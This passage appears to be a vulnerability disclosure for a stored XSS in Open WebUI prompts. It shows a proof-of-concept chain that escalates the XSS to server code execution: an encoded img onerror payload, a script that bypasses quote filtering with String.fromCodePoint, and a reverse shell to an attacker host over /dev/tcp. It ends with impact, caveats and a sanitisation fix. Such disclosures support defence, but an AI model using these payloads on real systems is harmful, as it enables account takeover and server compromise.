Run the command /poc via a chat window. <img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" />

Observe the alert is triggered. <img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" />

RCE

Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.

This can be accomplished by making them run the following fetch request:

fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})

This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes <img width="1718" height="482" alt="image" src="https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745" /> To get around this strings must be manually constructed from their decimal values using String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:

payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"<img src=x onerror=eval({out[:-1]})>")

An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker. <img width="2476" height="756" alt="image" src="https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15" />

Impact

Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.

Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.

Caveats

Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions

A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.

Remediation

Sanitise the user controlled HTML with DOMPurify before assigning it to .innerHtml